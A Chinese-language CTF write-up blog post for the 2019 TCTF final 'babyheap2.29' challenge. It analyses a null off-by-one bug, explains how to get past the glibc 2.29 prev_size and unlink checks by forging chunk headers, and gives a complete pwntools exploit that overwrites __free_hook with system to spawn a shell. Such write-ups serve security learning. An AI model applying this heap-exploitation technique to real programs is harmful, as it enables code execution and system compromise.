pollux's Dairy

2019-TCTF(final)-babyheap2.29

字数统计: 1.2k阅读时长: 7 min
2019/06/10 Share

0x00 程序分析

程序给了libc,版本是最新版的2.29,在原有的堆利用方式加了很多限制,比如堆重叠,tcache的弱检测

先看下程序开启的保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

开启了全保护。

再看下程序的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
    __ __ _____________   __   __    ___    ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/

===== Baby Heap 2.29 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

漏洞点在Update功能,存在一个null off by one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v3 = 0LL;
while ( v3 < a2 )
{
v4 = read(0, (void *)(v3 + a1), a2 - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *__errno_location() != 11 && *__errno_location() != 4 )
{
break;
}
}
*(_BYTE *)(a1 + v3) = 0;

程序初始化时,会通过mmap随机地址分配0x1000的内存空间,然后程序Allocate功能会在该内存空间的随机位置写入结构体,内容如下

1
2
3
4
5
struct node{
int flag;
int size;
int *ptr
}

程序delete功能会上述三个数据清空。

0x01 利用分析

所以能够利用的点就是那个null off by one。

我们使用chunk overlapping时,有两种方法,一个是chunk extend,修改下一个chunk的prev_size,接着去触发向后合并,使之合并过多的内存,造成chunk overlapping;另一个是chunk shrink,修改当前free状态下chunk的size,使malloc时,glibc不能准确定位下一个chunk的位置来修改其prev_size,接着同样去触发向后合并,使之合并过多的内存,造成chunk overlapping。

但是2.29的libc加入了以下的检测

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

向后合并时,它会检测待合并chunk的size,与当前chunk的prev_size是否相同,否则就会报错,因此上述的两种办法就会失效。

绕过检测,实现libc2.29下的chunk overlapping

我们可以完全伪造待合并chunk的head的所有信息,绿色部分是我伪造是数据

image-20190613135826757

这样我们触发向后合并时,就可以绕过上述的检测,但是unlink时还有一个链表检测

1
2
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

因此我们还需要构造fd、bk,因此还需要伪造一个指向该chunk的指针(需要泄露堆指针),最后构造数据如下

image-20190614094206536

实际chunk A的布局如下:

1
2
3
4
0x558216406d40:	0x0000000000000000	0x0000000000000101
0x558216406d50: 0x0000558216406d60 0x0000000000000000
0x558216406d60: 0x0000000000000000 0x00000000000001e1
0x558216406d70: 0x0000558216406d38 0x0000558216406d40

绕过链表检测,成功实现chunk overlapping

关于泄露libc地址和堆地址,因为程序有输出功能,当chunk由free状态变为allocate状态后,其内存不会被清空,也就是说其包含libc地址和堆地址的fd、bk指针不会被清除,直接输出就可以获得

0x02 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
LOCAL = 0
if LOCAL:
p = process('./babyheap2.29')
main_arena_off= 0x3EBC40
#malloc_hook_off = 0x3ebc30
free_hook_off = 0x3ed8e8
#one_off = 0x10a38c
system_off = 0x4f440
else:
p = remote('192.168.201.21',1904)
#p = process(['./lib/ld-2.29.so','--library-path','./lib','./babyheap2.29'])
main_arena_off= 0x1E4C40
#malloc_hook_off = 0x1e4c30
free_hook_off = 0x1e75a8
system_off = 0x52fd0
#one_off = 0xe237f


#context.log_level = 'debug'

def q():
gdb.attach(p)
raw_input('test')

def add(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
#p.recvuntil('Allocated')

def edit(idx,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)

def dele(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Deleted')

def show(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))

def add_7_times(size):
for i in range(7):
add(size)

def dele_7_times(start,end):
for i in range(start,end+1):
dele(i)


def pwn():
add_7_times(0x80)#0-6
dele_7_times(0,6)

add_7_times(0xf0)#0-6
add(0xf8) #7 chunkA
add(0xf8) #8 chunkB
add(0xf0) #9 chunkC
add(0xf0) #10
add(0x200) #11
edit(11,8,'/bin/sh\x00')
dele_7_times(0,6)

#malloc 7 8 9 10
dele(7)
dele(8)
add_7_times(0xf0)#0-6
add(0xf8)#7
add(0xf8)#8
show(7)
p.recvuntil(': ')
libc_base = u64(p.recv(6).ljust(8,'\x00'))-main_arena_off-0x250
free_hook = libc_base + free_hook_off
system = libc_base+system_off
show(0)
p.recvuntil(': ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0xb50
log.info('heap_base: '+hex(heap_base))
main_arena = libc_base + main_arena_off
log.info('libc_base: '+hex(libc_base))
log.info('main_arena: '+hex(main_arena))
dele_7_times(0,6)

#malloc 7-11
chunkA = heap_base + 0xd50
edit(7,0x30,p64(chunkA+0x10)+p64(0)*2+p64(0x1e1)+p64(chunkA-0x18)+p64(chunkA-0x10))
edit(8,0xf8,'a'*0xf0+p64(0x1e0))

dele(9)
add_7_times(0xf0)#0-6
add(0xd0)#9
add(0xf0)#12
dele(12)
edit(8,16,p64(free_hook)+p64(0))
add(0xf0)#12
add(0xf0)#13
edit(13,8,p64(system))

p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline('11')
p.interactive()

pwn()
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
    1. 2.1. 绕过检测,实现libc2.29下的chunk overlapping
  3. 3. 0x02 EXP